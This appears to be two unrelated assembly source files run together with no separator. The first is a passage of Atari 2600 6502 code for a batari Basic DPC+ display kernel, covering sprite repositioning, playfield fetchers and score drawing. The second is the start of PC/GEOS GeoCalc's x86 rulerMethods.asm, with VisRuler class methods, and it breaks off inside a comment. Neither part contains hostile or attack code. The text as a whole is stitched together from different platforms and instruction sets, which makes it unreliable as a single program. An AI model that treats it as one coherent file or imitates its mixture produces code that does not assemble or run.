garbled screen sleep 5 ; this is better else bit DPC_kernel_options if (DPC_kernel_options > $3F) bmi COLfound else bpl COLfound endif endif stx temp4 ; +3 getbackearly lda #<DF0FRACDATA ; +2 sta PF1 ; 69 (PF1L) too early? JMP loop+$4000 ; 72 ifconst DPC_kernel_options COLfound lda DF0FRACDATA sta PF1 ; 69 (PF1L) too early? JMP loop+$4000 ; 72 endif repo ldy DF7FRACDATA ; 65 lda #<DF0FRACDATA ; 67 preload PF1L for next line if ((>repo) > (>norepo)) STA PF1 else STA.w PF1 ; 71 ; sta.w if page doesn't wrap endif lda #<DF0DATA ;73 STA COLUP0 ; 0 lda #<DF1DATA STA COLUP1 ;5 lda #<DF3DATA STA GRP1 ; 10 lda #<DF1FLAG STA ENAM1 ; 15 ; repos info holds HMMx jmp (DF5DATA) ; 20 grabs df6/df7=lo/hi exitkernel ; exit the kernel jsr scorekernel+$4000 ; 1 exit ldx #255 stx FASTFETCH sta WSYNC ifconst qtcontroller lda qtcontroller lsr ; bit 0 in carry lda #4 ror ; carry into top of A else lda #2 endif ; qtcontroller STA VBLANK lda #OVERSCAN_LINES sta TIM64T sec lda #KERNEL_LINES sbc temp4 tax lsr lsr sta temp3 ; div4 lsr lsr sta temp2 ; div16 lsr sta temp1 ; div32 clc txa adc temp2 adc temp1 sec sbc temp3 sta temp4 ; approx line of first pf coll RETURN ; jmp exit ; kernels resp1 23/28/33/38/43/48/53/58/63/68/73 kernel1 sta RESP1 ; 23 lda #<DF2DATAW STA GRP0 ; 28 (VDEL) lda #<DF1FRACDATA STA PF2 ; 33 lda #<DF3FLAG STA ENABL ; 38 (VDEL) sleep 5 lda #<DF2FRACDATA ;45 sta PF2 ; 48 lda #<DF3FRACDATA ;50 sta PF1 ; 53 lda #<DF5FRACDATA ; NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 ; 58 STA REFP1 ; 61 jmp getbackearly ;64 kernel2 lda #<DF2DATAW STA GRP0 ; 25 (VDEL) sta RESP1 ;28 lda #<DF1FRACDATA STA PF2 ; 33 lda #<DF3FLAG STA ENABL ; 38 (VDEL) sleep 5 lda #<DF2FRACDATA;45 sta PF2 ; 48 lda #<DF3FRACDATA;50 sta PF1 ; 53 lda #<DF5FRACDATA ; NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 STA REFP1 jmp getbackearly ;64 kernel3 lda #<DF2DATAW STA GRP0 ; 25 (VDEL) lda #<DF1FRACDATA STA PF2 ; 30 sta RESP1 ;33 lda #<DF3FLAG STA ENABL ; 38 (VDEL) sleep 5 lda #<DF2FRACDATA;45 sta PF2 ; 48 lda #<DF3FRACDATA;50 sta PF1 ; 53 lda #<DF5FRACDATA ; NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 STA REFP1 JMP getbackearly ; 64 kernel4 lda #<DF2DATAW STA GRP0 ; 25 (VDEL) lda #<DF3FLAG STA ENABL ; 30(VDEL) lda #<DF1FRACDATA STA PF2 ; 35 sta RESP1 ;38 sleep 5 lda #<DF2FRACDATA;45 sta PF2 ; 48 lda #<DF3FRACDATA;50 sta PF1 ; 53 lda #<DF5FRACDATA ; NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 ; 58 STA REFP1 ; 61 JMP getbackearly ; 64 kernel5 lda #<DF2DATAW STA GRP0 ; (VDEL) lda #<DF3FLAG STA ENABL ; (VDEL) lda #<DF1FRACDATA STA PF2 ; 35 sleep 5 sta RESP1 ;43 lda #<DF2FRACDATA;45 sta PF2 ; 48 lda #<DF3FRACDATA;50 sta PF1 ; 53 lda #<DF5FRACDATA ; NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 STA REFP1 JMP getbackearly ; 64 kernel6 lda #<DF2DATAW STA GRP0 ; 25 (VDEL) lda #<DF3FLAG STA ENABL ; 30 (VDEL) lda #<DF1FRACDATA STA PF2 ; 35 lda #<DF5FRACDATA ; 37 NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 ; 40 STA REFP1 ; 43 lda #<DF2FRACDATA;45 sta PF2 ; 48 lda #<DF3FRACDATA;50 sta RESP1 ;53 ; do a move right by 15 sta PF1 ; 56 stx HMP1 ; 59 lda #<DF1FRACDATA sta PF2 ; 64 (PF2L) lda #<DF0FRACDATA sta PF1 ; 69 (PF1L) too early? lda #<DF0DATA ; 71 sta HMOVE ; 74 adjust to +15 right STA COLUP0 ; 1 lda #<DF1DATA sta COLUP1 ; 6 lda #<DF3DATA STA GRP1 ; 11 lda #<DF0FLAG STA ENAM0 ; 16 lda #<DF6FRACDATA STA COLUBK ; 21 lda #<DF4FRACDATA sta COLUPF ; 26 sleep 2 jmp loop3 ; 31 kernel7 lda #<DF2DATAW STA GRP0 ; 25 (VDEL) lda #<DF3FLAG STA ENABL ; 30 (VDEL) lda #<DF1FRACDATA STA PF2 ; 35 lda #<DF5FRACDATA ; 37 NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 ; 40 STA REFP1 ; 43 lda #<DF2FRACDATA;45 sta PF2 ; 48 sleep 2 sta RESP1 ;53 lda #<DF3FRACDATA;55 sta PF1 ; 58 sleep 3 JMP getbackearly ; 64 kernel8 lda #<DF2DATAW STA GRP0 ; (VDEL) lda #<DF3FLAG STA ENABL ; (VDEL) lda #<DF1FRACDATA STA PF2 ; 35 lda #<DF5FRACDATA ; 37 NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 ; 40 STA REFP1 ; 43 lda #<DF2FRACDATA;45 sta PF2 ; 48 lda #<DF3FRACDATA;50 sta PF1 ; 53 sleep 2 sta RESP1 ;58 sleep 3 JMP getbackearly ; 64 kernel9 lda #<DF2DATAW STA GRP0 ; (VDEL) lda #<DF3FLAG STA ENABL ; (VDEL) lda #<DF1FRACDATA STA PF2 ; 35 lda #<DF5FRACDATA ; 37 NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 ; 40 STA REFP1 ; 43 lda #<DF2FRACDATA;45 sta PF2 ; 48 lda #<DF3FRACDATA;50 sta PF1 ; 53 sleep 5 lda #<DF0FRACDATA sta RESP1 ;63 sleep 3 sta PF1 ; 69 (PF1L) too early? jmp loop ;72 kernel10 lda #<DF2DATAW STA GRP0 ; 25 (VDEL) lda #<DF3FLAG STA ENABL ; 30 (VDEL) lda #<DF1FRACDATA STA PF2 ; 35 lda #<DF5FRACDATA ; 37 NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 ; 40 STA REFP1 ; 43 lda #<DF2FRACDATA;45 sta PF2 ; 48 lda #<DF3FRACDATA;50 sta PF1 ; 53 sleep 6 lda #<DF0FRACDATA LDX DF0DATA ; 65 sta RESP1 ; 68 STA PF1 ; 71 lda #<DF1DATA ; 74 STX COLUP0 ; 0 jmp loop2 ; 3 kernel11 lda #<DF2DATAW STA GRP0 ; (VDEL) lda #<DF3FLAG STA ENABL ; (VDEL) lda #<DF1FRACDATA STA PF2 ; 35 lda #<DF5FRACDATA ; NUSIZ/RESP info (OK here, GRP1 off) STA NUSIZ1 STA REFP1 lda #<DF2FRACDATA;45 sta PF2 ; 48 lda #<DF3FRACDATA;50 sta PF1 ; 53 sleep 3 lda #<DF1FRACDATA;45 sta PF2 ; 61 LDX DF0DATA ; 65 lda #<DF0FRACDATA ; 67 sta PF1 ; 70 sta RESP1 ; 73 STX COLUP0 ; 0 lda #<DF1DATA ; 2 sta COLUP1 ; 5 lda #<DF3DATA STA GRP1 ; 10 lda #<DF0FLAG STA ENAM0 ; 25 lda #<DF6FRACDATA STA COLUBK ; 20 lda #<DF4FRACDATA sta COLUPF ; 25 sleep 3 jmp loop3 ; 31 set_fetchers lda dflow sta DF0LOW lda dfhigh sta DF0HI lda dflow+1 sta DF1LOW lda dfhigh+1 sta DF1HI lda dflow+2 sta DF2LOW lda dfhigh+2 sta DF2HI set_fetchers36 ; sets just 3-6 lda dflow+3 sta DF3LOW lda dfhigh+3 sta DF3HI lda dflow+4 sta DF4LOW lda dfhigh+4 sta DF4HI lda dflow+5 sta DF5LOW lda dfhigh+5 sta DF5HI lda dflow+6 sta DF6LOW lda dfhigh+6 sta DF6HI rts ;9d bad ; the below isn't quite right ;DF0DATA: COLUP0 ;DF1DATA: COLUP1 ;DF2DATAW: GRP0 ;DF3DATA: GRP1 ;DF4DATA: 2lk lines until repos/HMP1 ;DF5DATA: low byte of repo kernels (xpos mod 15) ;DF6DATA: High byte of repo kernels (x pos div 15) ;DF7DATA: Programmer's stack ;DF0FRACDATA: PF1L ;DF1FRACDATA: PF2L ;DF4FRACDATA: COLUPF ;DF2FRACDATA: PF2R ;DF3FRACDATA: PF2L ;DF5FRACDATA: Sprite NUSIZ1/REFP1 (only during repos) ;DF6FRACDATA: COLUBK ;DF7FRACDATA: HMP1 ;DF3FLAG: kernel exit loop ?? (use flags instead?) ;DF0FLAG: ENAM0 ;DF1FLAG: ENAM1 ;DF3FLAG: ENABL fetcher_address_table kernello .byte <kernel1 .byte <kernel2 .byte <kernel3 .byte <kernel4 .byte <kernel5 .byte <kernel6 .byte <kernel7 .byte <kernel8 .byte <kernel9 .byte <kernel10 .byte <kernel11 kernelhi .byte >kernel1 .byte >kernel2 .byte >kernel3 .byte >kernel4 .byte >kernel5 .byte >kernel6 .byte >kernel7 .byte >kernel8 .byte >kernel9 .byte >kernel10 .byte >kernel11 dflow .byte <P0COLOR .byte <P1COLOR .byte <P0GFX .byte <P1GFX .byte <P1SKIP .byte <JUMPTABLELO .byte <JUMPTABLEHI .byte <USERSTACK dfhigh .byte (>P0COLOR) & $0F .byte (>P1COLOR) & $0F .byte (>P0GFX) & $0F .byte (>P1GFX) & $0F .byte (>P1SKIP) & $0F .byte (>JUMPTABLELO) & $0F .byte (>JUMPTABLEHI) & $0F .byte (>USERSTACK) & $0F dffraclow .byte <PF1L .byte <PF2L .byte <PF1R .byte <PF2R .byte <PFCOLS .byte <NUSIZREFP .byte <BKCOLS .byte <P1HMP dffrachi .byte (>PF1L) & $0F .byte (>PF2L) & $0F .byte (>PF1R) & $0F .byte (>PF2R) & $0F .byte (>PFCOLS) & $0F .byte (>NUSIZREFP) & $0F .byte (>BKCOLS) & $0F .byte (>P1HMP) & $0F scorepointer .byte <scoretable .byte ((>scoretable) & $0f) | (((>scoretable) / 2) & $70) scoresetup ; pointers to digit graphics .byte <scoredata .byte (>scoredata) & $0F Hmval; 112 wuz first .byte 96, 80, 64, 48, 32, 16, 1, 240 Hmval74 .byte 224, 208, 192, 176, 160, 144, 128 .byte 96, 80, 64, 48, 32, 16, 1, 240, 224, 208, 192, 176, 160, 144, 128, 96 .byte 80, 64, 48, 32, 16, 1, 240, 224, 208, 192, 176, 160, 144, 128, 96, 80 .byte 64, 48, 32, 16, 1, 240, 224, 208, 192, 176, 160, 144, 128, 96, 80, 64 .byte 48, 32, 16, 1, 240, 224, 208, 192, 176, 160, 144, 128, 96, 80, 64, 48 .byte 32, 16, 1, 240, 224, 208, 192, 176, 160, 144, 128, 96, 80, 64, 48, 32 .byte 16, 1, 240, 224, 208, 192, 176, 160, 144, 128, 96, 80, 64, 48, 32, 16 .byte 1, 240, 224, 208, 192, 176, 160, 144, 128, 96, 80, 64, 48, 32, 16, 1 .byte 240, 224, 208, 192, 176, 160, 144, 128, 96, 80, 64, 48, 32, 16, 1, 240 .byte 224, 208, 192, 176, 160, 144, 128, 96, 80, 64, 48, 32, 16, 1, 240, 224, 208, 192 .byte 176,160,144,128,16,1,240,224 kernel_setup ;--position P0, top P1, M0, M1, BL ldx #0 ; first sprite displayed lda SpriteGfxIndex,x tax lda player1x,x cmp #160 bcc nostorep1 cmp #208 bcs ksadjustdown ; 160-208: minus 160 ;add 160 is like minus 96 ; so minus 64 sbc #63 ;cc ksadjustdown ; 209-255: add 160 adc #159 ; cs sta player1x,x nostorep1 sta WSYNC ldx #4 sta topP1x ; cache top p1 HorPosLoop lda player0x,X sec DivideLoop sbc #15 bcs DivideLoop sleep 4 sta RESP0,X sta WSYNC dex ;2 bpl HorPosLoop ;4/5 ldy player0x ; 7 lda Hmval,y ; 11 sta HMP0 ; 14 ldy player0x+1 lda Hmval,y sta HMP0+1 ; 24 ldy player0x+2 lda Hmval,y sta HMP0+2 ; 34 ldy player0x+3 lda Hmval,y sta HMP0+3 ; 44 ldy player0x+4 lda Hmval,y sta HMP0+4 ; 54 sta WSYNC sta HMOVE myrts rts pfsetup sty temp1 sta temp2 stx temp3 ldx #3 pfsetupp lda dffraclow,x sta DF0LOW,x lda dffrachi,x sta DF0HI,x lda temp2 sta PARAMETER lda temp3 sta PARAMETER stx PARAMETER sty PARAMETER LDA #1 sta CALLFUNCTION clc lda temp2 adc temp1 sta temp2 lda temp3 adc #0 sta temp3 dex bpl pfsetupp RETURN scorekernel ifconst minikernel ;; disable fast fetch, call the minikernel, and re-enable fast fetch lda #255 sta FASTFETCH jsr minikernel lda #0 sta.w FASTFETCH endif ldx scorecolor stx COLUP0 stx COLUP1 ldx #0 STx PF1 stx REFP0 stx REFP1 STx GRP0 STx GRP1 STx PF2 stx HMCLR stx ENAM0 stx ENAM1 stx ENABL ifconst pfscore lda pfscorecolor sta COLUPF endif ifconst noscore ldx #10 noscoreloop sta WSYNC dex bpl noscoreloop rts else sta HMCLR ldx #$f0 stx HMP0 ; set up fetchers 0-5 to handle score digits ldx #<(scoredata) stx DF6LOW ldx #(>(scoredata)) & $0F stx DF6HI ldx #<(scoredata+8) stx DF0LOW ldx #(>(scoredata+8)) & $0F stx DF0HI ldx #<(scoredata+16) stx DF1LOW ; cycle 0?? ldx #(>(scoredata+16)) & $0F stx DF1HI ldx #<(scoredata+24) stx DF2LOW ldx #(>(scoredata+24)) & $0F stx DF2HI sta WSYNC ldx #0 STx GRP0 STx GRP1 ; seems to be needed because of vdel ldx #<(scoredata+32) stx DF3LOW ldx #(>(scoredata+32)) & $0F stx DF3HI ldx #<(scoredata+40) stx DF4LOW ldx #(>(scoredata+40)) & $0F stx DF4HI LDY #7 LDx #$03 STY VDELP0 STA RESP0 STA RESP1 sty temp1 STx NUSIZ0 STx NUSIZ1 STx VDELP1 ldx #<(scoredata+48) stx DF5LOW ldx #(>(scoredata+48)) & $0F stx DF5HI STA.w HMOVE ; cycle 73 ? scoreloop lda #<DF6DATA ;59 sta COLUP0 ;62 sta COLUP1 ;65 lda #<DF1DATA;75 sta GRP0 ;2 lda #<DF0DATA ;4 sta GRP1 ;7 lda #<DF3DATA ;9 sta GRP0 ;12 ; REVENG - rearranged to correct pf write timing and A register overwrite ifconst pfscore lda pfscore1 sta PF1 else sleep 6 endif sleep 5 ldx DF2DATA;16 ldy DF5DATA;20 lda #<DF4DATA;22 stx GRP1;40 sty GRP0;43 sta GRP1;46 sta GRP0;49 ifconst pfscore lda pfscore2 sta PF1 else sleep 6 endif ; sleep 2 ;57 sleep 6 dec temp1;70 bpl scoreloop;72/73 LDx #0 stx PF1 STx GRP0 STx GRP1 STx VDELP0 STx VDELP1;do we need these STx NUSIZ0 STx NUSIZ1 rts endif ; noscore
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: GeoCalc FILE: rulerMethods.asm AUTHOR: Gene Anderson, Jul 1, 1991 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Gene 7/ 1/91 Initial revision DESCRIPTION: Miscellaneous methods for VisRuler class. $Id: rulerMethods.asm,v 1.1 97/04/07 10:43:21 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RulerBasicCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerGetConstrainStrategy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisRuler method for MSG_VIS_RULER_GET_CONSTRAIN_STRATEGY Pass: *ds:si = ds:di = VisRuler instance Return: cx = VisRulerConstrainStrategy Destroyed: ax Revision History: Name Date Description ---- ------------ ----------- jon 26 may 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerGetConstrainStrategy method dynamic VisRulerClass, MSG_VIS_RULER_GET_CONSTRAIN_STRATEGY .enter mov cx, ds:[di].VRI_constrainStrategy .leave ret VisRulerGetConstrainStrategy endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerSetConstrainStrategy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisRuler method for MSG_VIS_RULER_SET_CONSTRAIN_STRATEGY Pass: *ds:si = ds:di = VisRuler instance cx = VisRulerConstrainStrategy bits to set dx = VisRulerConstrainStrategy bits to clear Return: nothing Destroyed: ax Revision History: Name Date Description ---- ------------ ----------- jon Nov 19, 1991 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerSetConstrainStrategy method dynamic VisRulerClass, MSG_VIS_RULER_SET_CONSTRAIN_STRATEGY .enter ornf ds:[di].VRI_constrainStrategy, cx not dx andnf ds:[di].VRI_constrainStrategy, dx not dx .leave ret VisRulerSetConstrainStrategy endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerReloc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle relocation and unrelocation of an object PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of VisRulerClass ax - MSG_META_RELOCATE/MSG_META_UNRELOCATE cx - handle of block containing relocation dx - VMRelocType: VMRT_UNRELOCATE_BEFORE_WRITE VMRT_RELOCATE_AFTER_READ VMRT_RELOCATE_AFTER_WRITE bp - data to pass to ObjRelocOrUnRelocSuper RETURN: carry - set if error bp - unchanged DESTROYED: ax,cx,dx PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: In the most common uses of the ruler, it is in a document and the content it is under is not. So if the ruler is being relocated after being read from a file, it needs to clear its parent linkage. REVISION HISTORY: Name Date Description ---- ---- ----------- srs 2/ 9/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerReloc method dynamic VisRulerClass, reloc .enter cmp dx,VMRT_RELOCATE_AFTER_READ jne done clr ax mov ds:[di].VI_link.LP_next.handle,ax mov ds:[di].VI_link.LP_next.chunk,ax mov ds:[di].VRI_window,ax mov ds:[di].VRI_transformGState,ax clrdw ds:[di].VRI_invalOD,ax andnf ds:[di].VI_attrs,not mask VA_REALIZED done: Destroy ax,cx,dx .leave mov di, offset VisRulerClass call ObjRelocOrUnRelocSuper ret VisRulerReloc endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerVisOpen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisRuler method for MSG_VIS_OPEN Pass: *ds:si - VisRuler object ds:di - VisRuler instance es - segment of VisRulerClass bp - window handle Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Nov 19, 1991 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerVisOpen method dynamic VisRulerClass, MSG_VIS_OPEN mov ds:[di].VRI_window, bp mov di, offset VisRulerClass call ObjCallSuperNoLock ret VisRulerVisOpen endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerSetOrigin %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisRuler method for MSG_VIS_RULER_SET_ORIGIN Pass: dx:cx.bp - origin Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Oct 25, 1991 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerSetOrigin method dynamic VisRulerClass, MSG_VIS_RULER_SET_ORIGIN cmpdwf ds:[di].VRI_origin, dxcxbp jz done movdwf ds:[di].VRI_origin, dxcxbp test ds:[di].VRI_rulerAttrs, mask VRA_IGNORE_ORIGIN jnz done call InvalRuler call RulerSendInvalADIfGridShowing done: ret VisRulerSetOrigin endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerGetOrigin %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisRuler method for MSG_VIS_RULER_GET_ORIGIN Pass: nothing Return: dx:cx.bp - origin Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Oct 25, 1991 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerGetOrigin method dynamic VisRulerClass, MSG_VIS_RULER_GET_ORIGIN movdwf dxcxbp, ds:[di].VRI_origin ret VisRulerGetOrigin endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerShowMouse %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisRuler method for MSG_VIS_RULER_SHOW_MOUSE Sets a bit indicating that the ruler should draw the mouse tick whenever it gets a ptr event Pass: nothing Return: nothing Destroyed: ax Revision History: Name Date Description ---- ------------ ----------- jon Nov 19, 1991 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerShowMouse method dynamic VisRulerClass, MSG_VIS_RULER_SHOW_MOUSE .enter BitSet ds:[di].VRI_rulerAttrs, VRA_SHOW_MOUSE .leave ret VisRulerShowMouse endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerHideMouse %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisRuler method for MSG_VIS_RULER_HIDE_MOUSE Sets a bit indicating that the ruler shouldn't draw the mouse tick whenever it gets a ptr event Pass: nothing Return: nothing Destroyed: ax Revision History: Name Date Description ---- ------------ ----------- jon Nov 19, 1991 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerHideMouse method dynamic VisRulerClass, MSG_VIS_RULER_HIDE_MOUSE .enter BitClr ds:[di].VRI_rulerAttrs, VRA_SHOW_MOUSE .leave ret VisRulerHideMouse endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InvalRuler %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Invalidate the ruler CALLED BY: UTILITY PASS: *ds:si - VisRuler object RETURN: none DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 9/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InvalRuler proc near uses ax, cx, dx, bp .enter mov ax, MSG_VIS_INVALIDATE call ObjCallInstanceNoLock .leave ret InvalRuler endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RulerSendInvalAD %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Ruler sends its inval message to its inval object. Pass: *ds:si = VisRuler Return: nothing Destroyed: nothing Revision History: Name Date Description ---- ------------ ----------- jon May 15, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RulerSendInvalAD proc far class VisRulerClass uses ax, bx, di, si .enter mov di, ds:[si] add di, ds:[di].VisRuler_offset mov bx, ds:[di].VRI_invalOD.handle tst bx jz done mov si, ds:[di].VRI_invalOD.chunk mov ax, MSG_VIS_INVALIDATE mov di, mask MF_FIXUP_DS call ObjMessage done: .leave ret RulerSendInvalAD endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RulerSendInvalADIfGridShowing %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Ruler sends its inval message to its inval object. Pass: *ds:si = VisRuler Return: nothing Destroyed: nothing Revision History: Name Date Description ---- ------------ ----------- jon May 15, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RulerSendInvalADIfGridShowing proc far class VisRulerClass uses ax, bx, di, si .enter mov di, ds:[si] add di, ds:[di].VisRuler_offset test ds:[di].VRI_rulerAttrs, mask VRA_SHOW_GRID jz done mov ax, ds:[di].VRI_grid.G_x.WWF_int or ax, ds:[di].VRI_grid.G_x.WWF_frac or ax, ds:[di].VRI_grid.G_y.WWF_int or ax, ds:[di].VRI_grid.G_y.WWF_frac jz done call RulerSendInvalAD done: .leave ret RulerSendInvalADIfGridShowing endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RulerCallSlave %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Sends a message to slave ruler, if any Pass: *ds:si = VisRuler ax = message # cx, dx, bp = data Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Feb 13, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RulerCallSlave proc far class VisRulerClass uses bx, si, di .enter ; ; Check for existence of slave ; mov si, ds:[si] add si, ds:[si].VisRuler_offset mov bx, ds:[si].VRI_slave.handle tst bx jz done ; ; Slave exists, so send message ; mov si, ds:[si].VRI_slave.offset mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage done: .leave ret RulerCallSlave endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerInvalidateWithSlaves %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisRuler method for MSG_VIS_RULER_INVALIDATE_WITH_SLAVES Invalidates the ruler and its slave. This is provided 'cause if this were done via MSG_VIS_INVALIDATE, multiple invalidations would pile up for the slave on other messages that also call MSG_VIS_INVALIDATE. Pass: *ds:si = VisRuler object ds:di = VisRuler instance Return: nothing Destroyed: ax Revision History: Name Date Description ---- ------------ ----------- jon Jun 23, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerInvalidateWithSlaves method dynamic VisRulerClass, MSG_VIS_RULER_INVALIDATE_WITH_SLAVES .enter mov ax, MSG_VIS_INVALIDATE call ObjCallInstanceNoLock mov ax, MSG_VIS_RULER_INVALIDATE_WITH_SLAVES call RulerCallSlave .leave ret VisRulerInvalidateWithSlaves endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerInvalidate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Invalidate the ruler window. CALLED BY: MSG_VIS_INVALIDATE PASS: *ds:si - instance data es - seg addr of VisRulerClass ax - the method RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 7/ 1/91 Initial version 